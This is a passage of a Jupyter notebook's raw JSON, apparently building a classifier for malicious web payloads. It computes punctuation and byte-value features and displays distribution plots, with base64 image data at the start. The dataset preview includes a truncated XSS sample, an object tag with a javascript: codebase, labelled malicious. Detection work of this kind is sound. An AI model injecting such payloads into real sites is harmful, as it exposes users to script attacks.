XJK/SbItydHu/o5BawQA2DTWuuz4\n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\n3nB/e5LFSW+fh9eJtu1J8sUJ1wIAsCFMGV/7klyQJPN7vm5d2PbpJN9VVQ+qqvtndsnxv064FgCA\nDWHb0aNHJ9nxwqcdvyfJtiSXJnlMkt3dfc3Cpx23Z/Zpx9dOshAAgA1ksvgCAOBrecgqAMBA4gsA\nYCBfrJ1TP42f06eqnpDk17r7qVX1nUmuS3I0ySeT/MvuvruqfjLJCzL79oNXdPcNS1vwfdz8gcZv\nSPKIJGckeUWSP4u5T6qqdiS5NkllNucrknw55j5EVT0kySeSnJ/ZXK+LuU+uqv57Zk8zSJLPJPmV\nmP0JOfM18/+fxp/kysyexs9pVlU/l+S3kuycv/WqJC/t7idn9qGMi6rqoUn+VZInJXlakl+tqjOW\nsd5N4jlJPj+f8dOT/GbMfYQLk6S7n5TkpZn9n5C5DzD/F47XJ/mb+VvmPkBV7UyyrbufOv/r0pj9\nSYmvmXs9jT/J2Wv/Ot+gv0jyrIXXj03yofnPf5DkB5I8Psm+7r6zuw8l2Z/ZJ2b5xrw9ycvmP2/L\n7N80zX1i3f3uJM+fv3x4Zs8xNPcx/n2S1yX56/lrcx/jrCS7qur9VXXT/BFTZn8S4mvmhE/jX9Zi\nNqvufmeSry68ta27j33c9ti3HHzd337AyXX3/+3uw1W1J8k7MjsLY+4DdPeRqvrtJK9J8paY++Sq\n6ieSHOjuP1x429zHuCOz8H1aZpfZ/TO/BvE1s9bT+JnO3Qs/H/uWA99+cJpV1bcn+WCSN3X3W2Pu\nw3T3jyd5ZGb3fz1gYZO5T+OyJOdX1R8neVSS30nykIXt5j6dP0/y5u4+2t1/nuTzSb5tYbvZLxBf\nM2s9jZ/p/GlVPXX+8z9O8pEkf5LkyVW1s6oemNmXsH9ySeu7z6uqb0vy/iQ/391vmL9t7hOrqn9e\nVS+ev7wjs+D9uLlPq7uf0t3/qLufmuR/JHlukj8w9yEuy/x+6ap6WGZnuN5v9ifm0trM9Zn929LN\nuedp/EzvZ5NcO/+KqU8neUd331VVr87sv6Tbk/xCd395mYu8j3tJkr1JXlZVx+79+tdJXm3uk3pX\nkjdW1YeT3C/JT2c2a/+8j+d/Z8b4T0muq6qPZvbpxsuS/J+Y/Ql5wj0AwEAuOwIADCS+AAAGEl8A\nAAOJLwCAgcQXAMBA4gvYkqrquvkT0QGGEl8AAAN5yCqwaVTVu5K8tbvfMX/98cwesvkrSXZl9sDZ\nn+vuty/8mUck+ePufsT89S8lSXf/UlU9PckvZ/ag1M8k+cnu/vyo/zzA5uTMF7CZvCnJP02Sqvqu\nzL5P8UVJLu/uxyR5XpKXr2dHVbWa5JVJntbdj07yh0l+bYpFA1uLM1/AZvLeJK+pqj1Jnp3kLUle\nleQZVfUjSc5Jsnud+3pCkr+T5INVlSQ7knzhtK8Y2HKc+QI2je7+SpIbkvyTJD+aWXx9JMnjk3wi\ns8uP2477Y0ePe+9+87/vSPLR7n5Udz8qyeOS/PB0qwe2CvEFbDZvyuw+ry8kOZzkkUle3t3vS/KD\nmUXVoi8m2VtVq1V1RpKnz9//b0nOrapHzl+/LMm/m3rxwOYnvoBNpbv3JXlgkjd39xeS/FaST1XV\nnyZ5SJJdVfUtC79/KLOo+liSP0ryJ/P3P5vksiRvq6pbkzwms6gD+KZsO3r06LLXAACwZTjzBQAw\nkPgCABhIfAEADCS+AAAGEl8AAAOJLwCAgcQXAMBA4gsAYKD/Bz6G5wCWvcErAAAAAElFTkSuQmCC\n",
      "text/plain": [
       "<matplotlib.figure.Figure at 0x7f7104592fd0>"
      ]
     },
     "metadata": {},
     "output_type": "display_data"
    }
   ],
   "source": [
    "def create_feature_punctuation_characters(payloads):\n",
    "    '''\n",
    "    Feature\n",
    "    Number of punctuation characthers within payload\n",
    "    '''\n",
    "    \n",
    "    payloads['punctuation'] = [ len([1 for letter in str(row) if letter in string.punctuation]) for row in payloads['payload']]\n",
    "    return payloads\n",
    "    \n",
    "\n",
    "create_feature_punctuation_characters(payloads)\n",
    "display(payloads.head())\n",
    "    \n",
    "plot_feature_distribution(payloads['punctuation'])"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 12,
   "metadata": {},
   "outputs": [
    {
     "data": {
      "text/html": [
       "<div>\n",
       "<table border=\"1\" class=\"dataframe\">\n",
       "  <thead>\n",
       "    <tr style=\"text-align: right;\">\n",
       "      <th></th>\n",
       "      <th>payload</th>\n",
       "      <th>is_malicious</th>\n",
       "      <th>injection_type</th>\n",
       "      <th>length</th>\n",
       "      <th>non-printable</th>\n",
       "      <th>punctuation</th>\n",
       "      <th>min-byte</th>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>index</th>\n",
       "      <th></th>\n",
       "      <th></th>\n",
       "      <th></th>\n",
       "      <th></th>\n",
       "      <th></th>\n",
       "      <th></th>\n",
       "      <th></th>\n",
       "    </tr>\n",
       "  </thead>\n",
       "  <tbody>\n",
       "    <tr>\n",
       "      <th>0</th>\n",
       "      <td>&lt;object classid=\"clsid:...\" codebase=\"javascri...</td>\n",
       "      <td>1.0</td>\n",
       "      <td>XSS</td>\n",
       "      <td>60</td>\n",
       "      <td>0</td>\n",
       "      <td>16</td>\n",
       "      <td>32</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>1</th>\n",
       "      <td>mc_6081_149</td>\n",
       "      <td>0.0</td>\n",
       "      <td>LEGAL</td>\n",
       "      <td>11</td>\n",
       "      <td>0</td>\n",
       "      <td>2</td>\n",
       "      <td>48</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>2</th>\n",
       "      <td>shines</td>\n",
       "      <td>0.0</td>\n",
       "      <td>LEGAL</td>\n",
       "      <td>6</td>\n",
       "      <td>0</td>\n",
       "      <td>0</td>\n",
       "      <td>101</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>3</th>\n",
       "      <td>revulsion</td>\n",
       "      <td>0.0</td>\n",
       "      <td>LEGAL</td>\n",
       "      <td>9</td>\n",
       "      <td>0</td>\n",
       "      <td>0</td>\n",
       "      <td>101</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>4</th>\n",
       "      <td>3857146085955889</td>\n",
       "      <td>0.0</td>\n",
       "      <td>LEGAL</td>\n",
       "      <td>16</td>\n",
       "      <td>0</td>\n",
       "      <td>0</td>\n",
       "      <td>48</td>\n",
       "    </tr>\n",
       "  </tbody>\n",
       "</table>\n",
       "</div>"
      ],
      "text/plain": [
       "                                                 payload  is_malicious  \\\n",
       "index                                                                    \n",
       "0      <object classid=\"clsid:...\" codebase=\"javascri...           1.0   \n",
       "1                                            mc_6081_149           0.0   \n",
       "2                                                 shines           0.0   \n",
       "3                                              revulsion           0.0   \n",
       "4                                       3857146085955889           0.0   \n",
       "\n",
       "      injection_type  length  non-printable  punctuation  min-byte  \n",
       "index                                                               \n",
       "0                XSS      60              0           16        32  \n",
       "1              LEGAL      11              0            2        48  \n",
       "2              LEGAL       6              0            0       101  \n",
       "3              LEGAL       9              0            0       101  \n",
       "4              LEGAL      16              0            0        48  "
      ]
     },
     "metadata": {},
     "output_type": "display_data"
    },
    {
     "name": "stdout",
     "output_type": "stream",
     "text": [
      "Properties of feature: min-byte\n",
      "count    110357.000000\n",
      "mean         71.225849\n",
      "std          26.545900\n",
      "min           9.000000\n",
      "25%          48.000000\n",
      "50%          75.000000\n",
      "75%          97.000000\n",
      "max         125.000000\n",
      "Name: min-byte, dtype: float64\n"
     ]
    },
    {
     "data": {
      "image/png": "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\n0t+I/p62+fvCL2b2vvBgkpfEa3dTVNVTk/xUd19eVX8rR+lpVb0kyT/OrOc/3t0f3rKCt5EjevvE\nJG/J7PV7f5IXdfcXVq23ZspWzw8k+WJ3Pz3Js5P8XJI3JnnVfN+OuEvCKZv/cPv5JH8+36W3m6Sq\nLk/ytMzu7PHMJI+O/m6Wq5JsdPfTkrwuyU9Eb09bVf1wknckOW++6xt6WlV/Nck/y+x1/awkP1lV\n525FvdvJUXr7s5ld3/TyJO9P8opV7K1Qtnrem+TV8693ZPbbw5Mzm3FIko8k+btbUNeqeH2StyX5\n0/m23m6eZ2V2GZwPJPlQkg9HfzfLZ5NszD/hfkGSv4jeboY/TPL8he2j9fRbkxzo7vu7++4kd2R2\nhQGO78jefn93/978640kX80K9lYoWzHd/WfdfW9V7U7yK0lelWRHdx/+mO29SR6xZQVuY1X1j5Lc\n1d0fXditt5vnLye5OMn3Jnlpkl/O7ALS+nv6/iyzpcvbk9yY5M3x2j1t3f2+zALuYUfr6QVJ7l54\njF4v4cjedvfnk6SqnpbkZZndP3vleiuUraCqenSSX0vyru5+d5LF80QO3z2Bk7cvyZVV9etJnpjk\nl5I8auG43p6eLyb5aHd/rbs7s9+EF99g9ffU/cvMevv4JBdldn7ZOQvH9XZzHO299lh3sOEkVdUL\nMlup+PvdfVdWsLdC2Yqpqr+S5GNJXtHd++e7f3d+vk6S/L0kn9iK2ra77n5Gdz9zfk7D7yV5UZKP\n6O2muSXJs6tqR1VdmOThSf6b/m6Kg/n/MwpfSnJ2vC9M4Wg9/a0kT6+q86rqEUmekNmHADgJVfUD\nmc2QXd7d/2u+e+V669OXq+eVSfYkeXVVHT637J8nefP8llafyWxZk83xr5PcqLenr7s/XFXPyOyN\ndmeSH0pyZ/R3M7wpyf6q+kRmM2SvTPLp6O1m+4b3g+5+sKrenFlA25nkR7v7q1tZ5HZTVWdltuT+\nuSTvr6ok+Y3ufu2q9dYV/QEABmD5EgBgAEIZAMAAhDIAgAEIZQAAAxDKAAAGIJQBLKiqd87v3gBw\nRgllAAADcPFYYOVV1fuTvLu7f2W+/enMLvT5E0l2ZXbB5R/u7vcujHlMkl/v7sfMt38sSbr7x6rq\n2Ulel9mV8e9M8pLu/uKZ+vsAq8lMGbAO3pXk+5Okqh6X5GFJXp7kuu5+UpIXJ3nNMk9UVXuT3JDk\nWd39LUk+muSnpigaWC9myoB18F+SvKWqdid5YZJfTvLGJM+pqu9NckmS85d8rqcm+etJfm1+u5ez\nMrufJMBpMVMGrLzu/lqSDyf5riTfl1ko+0SSb03y25ktY+44YtihI/adPf/zrCS3dPcTu/uJSZ6S\n5Humqx5YF0IZsC7eldl5ZF9Kcm+Sxyd5TXf/1yTfmVnYWvTlJHuqam9VnZvk2fP9/yPJpVX1+Pn2\nq5P8zNTFA6tPKAPWQncfSPKIJP+hu7+U5B1Jfr+qfjfJo5LsqqqHLzz+7szC1qeS/GqS35rv/99J\n9iV5T1XdluRJmYU9gNOy49ChQ1tdAwDA2jNTBgAwAKEMAGAAQhkAwACEMgCAAQhlAAADEMoAAAYg\nlAEADEAoAwAYwP8F4AybGZux0jEAAAAASUVORK5CYII=\n",
      "text/plain": [
       "<matplotlib.figure.Figure at 0x7f7104448ac8>"
      ]
     },
     "metadata": {},
     "output_type": "display_data"
    }
   ],
   "source": [
    "def create_feature_min_byte_value(payloads):\n",
    "    '''\n",
    "    Feature\n",
    "    Minimum byte value in payload\n",
    "    '''\n",
    "    \n",
    "    payloads['min-byte'] = [ min(bytearray(str(row), 'utf8')) for row in payloads['payload']]\n",
    "    return payloads\n",
    "\n",
    "create_feature_min_byte_value(payloads)\n",
    "display(payloads.head())\n",
    "\n",
    "plot_feature_distribution(payloads['min-byte'])"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 13,
   "metadata": {},
   "outputs": [
    {
     "data": {
      "text/html": [
       "<div>\n",
       "<table border=\"1\" class=\"dataframe\">\n",
       "  <thead>\n",
       "    <tr style=\"text-align: right;\">\n",
       "      <th></th>\n",
       "      <th>payload</th>\n",
       "      <th>is_malicious</th>\n",
       "      <th>injection_type</th>\n",
       "      <th>length</th>\n",
       "      <th>non-printable</th>\n",
       "      <th>punctuation</th>\n",
       "      <th>min-byte</th>\n",
       "      <th>max-byte</th>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>index</th>\n",
       "      <th></th>\n",
       "      <th></th>\n",
       "      <th></th>\n",
       "      <th></th>\n",
       "      <th></th>\n",
       "      <th></th>\n",
       "      <th></th>\n",
       "      <th></th>\n",
       "    </tr>\n",
       "  </thead>\n",
       "  <tbody>\n",
       "    <tr>\n",
       "      <th>0</th>\n",
       "      <td>&lt;object classid=\"clsid:...\" codebase=\"javascri...</td>\n",
       "      <td>1.0</td>\n",
       "      <td>XSS</td>\n",
       "      <td>60</td>\n",
       "      <td>0</td>\n",
       "      <td>16</td>\n",
       "      <td>32</td>\n",
       "      <td>118</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>1</th>\n",
       "      <td>mc_6081_149</td>\n",
       "      <td>0.0</td>\n",
       "      <td>LEGAL</td>\n",
       "      <td>11</td>\n",
       "      <td>0</td>\n",
       "      <td>2</td>\n",
       "      <td>48</td>\n",
       "      <td>109</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>2</th>\n",
       "      <td>shines</td>\n",
       "      <td>0.0</td>\n",
       "      <td>LEGAL</td>\n",
       "      <td>6</td>\n",
       "      <td>0</td>\n",
       "      <td>0</td>\n",
       "      <td>101</td>\n",
       "      <td>115</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>3</th>\n",
       "      <td>revulsion</td>\n",
       "      <td>0.0</td>\n",
       "      <td>LEGAL</td>\n",
       "      <td>9</td>\n",
       "      <td>0</td>\n",
       "      <td>0</td>\n",
       "      <td>101</td>\n",
       "      <td>118</td>\n",
